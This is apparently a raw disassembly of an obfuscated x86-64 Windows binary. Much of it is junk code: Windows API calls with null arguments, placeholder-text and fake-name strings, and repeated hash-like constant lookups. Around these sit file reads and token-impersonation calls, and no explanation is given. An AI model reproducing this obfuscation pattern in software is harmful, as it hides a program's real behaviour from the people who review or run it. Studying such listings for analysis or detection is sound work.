mov rax, qword [0x004ca470]
mov dword [rax], 0x889cf096
mov rax, qword [0x004cac00]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca810]
mov rdx, qword [0x004cad40]
lea rcx, str.Deserunt_earum_sed_facilis_doloremque_pariatur_maiores_non_tempora_quam
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0xc0], rax
call rax
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca500]
mov rcx, qword [0x004caa10]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
mov r10, qword [0x004ca780]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004cab70]
xor ecx, ecx
mov eax, dword [r10]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call rsi
mov ecx, 0x9d59e728
call fcn.00414620
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
call rbx
mov rax, qword [0x004caaa0]
lea rcx, str.Nihil_qui_cumque_voluptas_esse_vitae_consequatur_rerum
mov dword [rax], 0x2467f7de
mov rax, qword [rsp + 0xc0]
call rax
mov rax, qword [0x004caee0]
xor ecx, ecx
mov dword [rax], 0xc81ee1b6
mov rax, qword [0x004ca200]
mov edx, dword [rax]
mov rax, qword [0x004ca4d0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004caea0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca820]
mov dword [rax], edx
mov rax, qword [rsp + 0xb8]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca3d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac80]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
lea rcx, str.Eos_molestias_autem_laudantium_cumque_minima_officia
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov r13, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r13
mov rax, qword [0x004cac50]
xor r9d, r9d
xor r8d, r8d
mov rbp, qword [0x004caeb0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xe0bb7c96
mov rax, qword [0x004ca770]
mov dword [rbp], 0x2d5b0bb9
mov dword [rax], 0xaa0f9e1f
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call r12
mov ecx, 0x3f6751be
call fcn.00414620
mov rdx, qword [0x004cad60]
lea rcx, str.Est_eligendi_quam_est_ipsa_aut_aliquid
mov dword [rdx], eax
mov rax, qword [rsp + 0xb0]
call rax
xor edx, edx
lea rcx, str.Quam_laudantium_quaerat_debitis_ut_officiis_fugit_aut_sit
call r15
mov r11, qword [0x004caef0]
mov rcx, qword [0x004ca630]
mov eax, dword [r11]
mov dword [rcx], eax
mov rax, qword [0x004ca270]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [rsp + 0x78]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca250]
lea rdx, str.Libero_rerum_est_id
lea rcx, str.ColtonSchmitt
mov dword [rax], 0x36b3ddf2
mov rax, qword [rsp + 0x98]
call rax
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004caf00]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac00]
lea r8, str.MsHeatherHowell
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004caf50]
mov rcx, qword [0x004cadd0]
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0x89ab4a56
call fcn.00414620
mov rdx, qword [0x004caf30]
lea r8, str.Fugit_architecto_in_corrupti_sit
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004caa00]
xor edx, edx
xor ecx, ecx
mov r10, qword [0x004ca780]
mov dword [rax], 0x511b3b88
mov rax, qword [0x004ca260]
mov eax, dword [rax]
mov dword [r10], eax
mov rax, qword [rsp + 0x90]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x41e544
mov rax, qword [0x004ca500]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc8b541a
call rdi
xor ecx, ecx
call rbp
mov rax, qword [0x004caa10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1e0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x90]
call rax
mov rdx, qword [0x004ca700]
mov rax, qword [0x004ca550]
mov rcx, qword [0x004cae80]
mov eax, dword [rax]
mov dword [rdx], 0x58ff8cb1
mov rdx, qword [0x004ca7c0]
mov dword [rcx], eax
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0xa8]
call rax
mov rdx, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0xc8], rdx
call rdx
xor ecx, ecx
mov rdx, qword [rsp + 0xc8]
call rdx
mov rax, qword [0x004caac0]
mov rdx, qword [0x004caa70]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
lea rdx, str.DorthaLang
lea rcx, str.Nesciunt_vel_necessitatibus_quia_voluptas
mov rax, qword [rsp + 0x98]
call rax
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004ca460]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab20]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0xb8]
call rax
xor ecx, ecx
call rbp
mov ecx, 0xebc70ee8
call fcn.00414620
mov rdx, qword [0x004ca5a0]
mov dword [rdx], eax
mov rax, qword [0x004ca350]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [str.7U5]
mov dword [rdx], eax
mov rax, qword [0x004ca660]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca360]
lea rcx, str.Assumenda_exercitationem_officia_unde_possimus_ipsum_aut_reprehenderit_sunt_aspernatur
mov dword [rdx], eax
mov rax, qword [rsp + 0xb0]
call rax
xor ecx, ecx
call rsi
mov rax, qword [0x004ca4a0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x30dba6c4
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca800]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2d0]
mov ecx, 0x32f58e82
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca6b0]
mov ecx, 0x6e50a56b
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca6c0]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r14
mov rax, qword [0x004cad40]
mov rdx, qword [0x004ca210]
mov rcx, qword [0x004ca770]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cab70]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r14
xor ecx, ecx
mov rax, qword [rsp + 0xa8]
call rax
mov rax, qword [0x004ca670]
mov rdx, qword [0x004ca810]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbp
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca1c0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xe3611a3f
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca410]
xor ecx, ecx
mov dword [rax], 0x8677b561
mov rax, qword [0x004cae90]
mov edx, dword [rax]
mov rax, qword [0x004cabd0]
mov dword [rax], edx
call rbp
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x90]
call rax
mov rax, qword [0x004ca810]
xor ecx, ecx
mov dword [rax], 0x5d2c186b
mov rax, qword [0x004cade0]
mov dword [rax], 0xb468b1cd
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004ca380]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [rax], 0x72787ae5
call r12
mov rax, qword [0x004ca4f0]
xor ecx, ecx
xor edx, edx
lea r8, str.AshleySchmitt
mov dword [rax], 0x461148d9
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
lea rcx, str.Est_est_dolor_dolores_sint
call r15
xor ecx, ecx
call rsi
xor ecx, ecx
call rbp
mov rax, qword [0x004caa70]
xor ecx, ecx
mov dword [rax], 0x656db196
call rsi
xor edx, edx
lea rcx, str.WainoSchmeler
call r15
mov rax, qword [0x004ca350]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004cadd0]
lea rcx, str.Amet_voluptates_doloribus_fuga_sed_et_ullam_autem_veniam_ullam_qui_exercitationem
mov dword [rax], 0x5effe762
mov rax, qword [rsp + 0xc0]
call rax
mov r11, qword [0x004ca7b0]
mov rax, qword [0x004ca580]
mov rcx, qword [0x004cad70]
mov edx, dword [r11]
mov dword [rax], edx
mov rax, qword [0x004ca630]
mov dword [rax], 0x6455670f
mov rax, qword [0x004ca1b0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caa30]
xor ecx, ecx
mov dword [rax], 0xf2d81456
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca770]
mov rdx, qword [0x004cae90]
xor ecx, ecx
lea r8, str.DakotaLarson
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cac00]
mov edx, dword [rax]
mov rax, qword [0x004cab50]
mov dword [rax], edx
mov rax, qword [0x004cac30]
xor edx, edx
mov dword [rax], 0xc293a77c
mov rax, qword [rsp + 0x58]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cae40]
mov rcx, qword [0x004cae80]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caec0]
mov dword [rax], 0x45e2d0dd
mov rax, qword [0x004ca9d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4e0]
mov r11, qword [0x004ca7b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca1e0]
mov rdx, qword [0x004ca3c0]
mov eax, dword [rax]
mov dword [rdx], eax
mov edx, dword [r11]
mov rax, qword [0x004cae20]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004caee0]
mov rcx, qword [0x004ca810]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caad0]
mov edx, dword [rax]
mov rax, qword [0x004ca420]
mov dword [rax], edx
mov rax, qword [0x004ca240]
mov rdx, qword [0x004ca460]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r13
mov rax, qword [0x004cac20]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca690]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca330]
xor edx, edx
lea rcx, str.Excepturi_est_est_voluptate_inventore_error_id_id_officiis_expedita_sed_impedit_sint
mov dword [rax], 0x30ed64cd
mov rax, qword [0x004ca380]
mov dword [rax], 0xa36341a4
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca3d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cadc0]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov rax, qword [0x004cae10]
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [0x004ca350]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x69fa645
mov rax, qword [0x004ca210]
mov eax, dword [rax]
mov dword [rsi], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r13
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
xor ecx, ecx
call r12
mov ecx, 0x26a9b023
call fcn.00414620
mov rsi, qword [0x004caf00]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
call rdi
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca790]
mov rbx, qword [0x004ca660]
xor edx, edx
lea rcx, str.Inventore_itaque_et
mov eax, dword [rax]
mov dword [rbx], eax
call r15
mov rax, qword [0x004cac90]
mov ecx, 0x6f6593f4
mov dword [rax], 0x91dffe1b
mov rax, qword [0x004ca3e0]
mov dword [rax], 0x4fad5ae0
call fcn.00414620
mov rdx, qword [0x004ca280]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x68]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov rax, qword [0x004ca4f0]
xor ecx, ecx
mov dword [rax], 0xf408288b
call rbp
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xa0]
lea rdx, [rsp + 0x4a0]
lea r9, [rsp + 0xd4]
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x41ec59
mov rax, qword [0x004cae20]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6605f122
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004cab30]
mov rdi, qword [0x004ca6c0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca630]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca430]
mov rsi, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cadc0]
mov edx, dword [rax]
mov rax, qword [0x004cae00]
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rax
call rax
mov ecx, 0x3f9623bf
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cab10]
mov r15, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004caa60]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca590]
mov ecx, 0x84b0a458
mov dword [rbx], eax
call fcn.00414620
mov rdx, qword [0x004ca7a0]
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov r11, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0x70], r11
call r11
mov rbp, qword [0x004ca6d0]
mov ecx, dword [rbp]
call fcn.00414620
mov rdx, qword [0x004ca2c0]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, 0x62aa6e29
call fcn.00414620
mov rbx, qword [0x004ca6f0]
lea rcx, str.Impedit_sunt_eveniet_vero_doloribus_aperiam_voluptatem
mov dword [rbx], eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, 0xc7df0fda
call fcn.00414620
mov rbx, qword [0x004ca650]
lea rcx, str.Enim_et_rerum_et
mov dword [rbx], eax
mov rax, qword [0x004ca210]
mov edx, dword [rax]
mov rax, qword [0x004cabf0]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov r12, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r12
mov r14, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call r14
mov rbx, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rbx
mov rax, qword [0x004cad20]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x7a3abfe6
call rsi
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004cae10]
mov ecx, 0xc648c396
mov edx, dword [rax]
mov rax, qword [0x004caef0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca300]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caba0]
mov edx, dword [rax]
mov rax, qword [0x004cade0]
mov dword [rax], edx
mov rax, qword [0x004ca230]
xor edx, edx
mov dword [rax], 0x85ec789c
call r12
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0x7011b29b
call fcn.00414620
mov rcx, qword [0x004cad70]
xor edx, edx
mov dword [rbp], 0xadca46de
mov dword [rcx], eax
mov rax, qword [0x004ca7e0]
xor ecx, ecx
mov dword [rax], 0xfc6fbde
mov rax, qword [0x004ca4e0]
mov dword [rax], 0x1622645f
call qword [sym.imp.KERNEL32.dll_SetCommMask]
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cac10]
mov dword [rax], 0x395746c6
mov rax, qword [0x004cabc0]
mov edx, dword [rax]
mov rax, qword [0x004ca5e0]
mov dword [rax], edx
mov rax, qword [0x004caa00]
mov dword [rax], 0x79db3eb3
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov r13, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.CieloKoch
call r13
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rbp
mov rax, qword [0x004cab60]
mov dword [rax], 0x37dd4773
mov rax, qword [0x004ca360]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cadc0]
mov dword [rdx], eax
mov rax, qword [0x004cac40]
mov edx, dword [rax]
mov rax, qword [str.Z2iy]
mov dword [rax], edx
mov rax, qword [0x004ca530]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae50]
mov ecx, 0x5dae65e1
mov dword [rdx], eax
mov rax, qword [0x004cac80]
mov dword [rax], 0x9c0e9680
call fcn.00414620
mov rdx, qword [0x004caf50]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [0x004ca370]
mov r10, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rax], 0xebe90008
mov rax, qword [0x004caaa0]
mov qword [rsp + 0x68], r10
mov dword [rax], 0xc84ca17e
call r10
mov rax, qword [0x004ca800]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004cae90]
mov dword [rcx], eax
mov ecx, 0xf9624f20
call fcn.00414620
mov rdx, qword [0x004ca990]
lea rcx, str.Quo_perspiciatis_iusto
mov dword [rdx], eax
call r13
mov rax, qword [0x004ca200]
mov dword [rax], 0x92ba16ac
mov rax, qword [0x004cac20]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cadf0]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cae60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac50]
mov r15, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Id_laudantium_magni_quidem_aut_asperiores_veritatis_dolorum_ut
mov dword [rdx], eax
lea rdx, str.MrTadKertzmann
call r15
mov r8, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x60], r8
call r8
mov rax, qword [0x004ca310]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf7a65f7b
call r14
mov rax, qword [0x004ca460]
mov dword [rax], 0xa66e7403
mov rax, qword [0x004cad10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf60]
mov r11, qword [rsp + 0x70]
xor ecx, ecx
mov dword [rdx], eax
call r11
mov rax, qword [0x004ca650]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac30]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004caa10]
mov rdx, qword [0x004cadc0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca2f0]
mov dword [rax], 0xa2988af8
mov rax, qword [0x004ca200]
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
mov rax, qword [0x004cabc0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cadd0]
mov dword [rdx], eax
mov rax, qword [0x004cad70]
mov edx, dword [rax]
mov rax, qword [0x004ca480]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
mov r8, qword [rsp + 0x60]
call r8
lea r8, str.LetitiaHalvorsonDDS
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call r14
lea rcx, str.HaskellBartell
call r13
mov rax, qword [0x004ca750]
mov ecx, dword [rax]
call fcn.00414620
mov r13, qword [0x004caeb0]
mov r10, qword [rsp + 0x68]
xor ecx, ecx
mov dword [r13], eax
call r10
mov rax, qword [0x004ca590]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa70]
mov dword [rdx], eax
mov rax, qword [0x004ca680]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf80]
mov rcx, qword [0x004ca7f0]
mov dword [r13], 0xd386e015
mov dword [rdx], eax
mov rax, qword [0x004ca330]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r12
mov rax, qword [0x004ca290]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r13], eax
call r14
mov rax, qword [0x004ca3c0]
mov dword [rax], 0xe1027cc4
mov rax, qword [0x004ca6f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab70]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
mov rax, qword [0x004cad20]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cab40]
mov dword [rax], edx
mov rax, qword [0x004cae90]
mov dword [rax], 0x458a63b5
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004caa90]
mov ecx, 0x3b941ea
mov dword [rax], 0x3a9e53fa
call fcn.00414620
mov rdx, qword [0x004ca700]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov rax, qword [0x004caf20]
xor ecx, ecx
mov dword [rax], 0xb019d296
mov rax, qword [0x004ca6f0]
mov dword [rax], 0x9e252fd3
call rbx
mov rax, qword [0x004ca3b0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x59ea109b
call rdi
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
mov rax, qword [0x004ca610]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca6c0]
mov dword [rsi], eax
mov rax, qword [0x004caca0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca550]
lea rcx, str.Delectus_voluptatum_eius_iusto_illum_fuga_rerum_quas_blanditiis
mov dword [rdx], eax
mov rax, qword [0x004ca310]
lea rdx, str.BethDibbert
mov dword [rax], 0xbc9acf25
mov rax, qword [0x004caba0]
mov dword [rax], 0xc227672f
mov rax, qword [0x004cad10]
mov dword [rax], 0x11c871a9
call r15
mov rax, qword [0x004ca360]
mov dword [rax], 0x62d398bc
cmp dword [rsp + 0xd4], 0x17
jne 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x41f1de
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call r12
mov rax, qword [0x004ca7c0]
lea rdx, str.Quis_aperiam_eum_et
lea rcx, str.Dolores_repellat_et_occaecati_aut_sed_unde_enim_aut_voluptatem_architecto_libero
mov dword [rax], 0x9ae88993
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rax, qword [0x004ca2e0]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rdx, qword [0x004ca780]
xor ecx, ecx
mov qword [rsp + 0x58], r10
mov dword [rdx], eax
xor edx, edx
call r10
mov rax, qword [0x004ca580]
mov ecx, 0x7074ba9b
mov edx, dword [rax]
mov rax, qword [0x004ca420]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cade0]
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
mov rax, qword [0x004ca480]
mov rdi, qword [0x004cac80]
xor ecx, ecx
mov r11, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov edx, dword [rax]
mov rax, qword [str.Z2iy]
mov qword [rsp + 0x50], r11
mov dword [rax], edx
mov rax, qword [0x004ca2f0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca5f0]
mov dword [rax], 0x157cc193
call r11
mov rdi, qword [0x004cac60]
mov rax, qword [0x004ca3a0]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_SetLastError]
mov edx, dword [rdi]
mov dword [rax], edx
call r13
mov rax, qword [0x004caa30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca230]
mov r15, qword [0x004ca2b0]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r15]
mov rax, qword [0x004cab20]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov ecx, 0x98eb6ab
call fcn.00414620
mov rsi, qword [str.7U5]
mov dword [rsi], eax
mov rax, qword [0x004cad90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca570]
lea r8, str.Qui_nemo_ullam_quasi_et_ducimus_reprehenderit_quas_numquam_autem
xor ecx, ecx
mov dword [rdx], eax
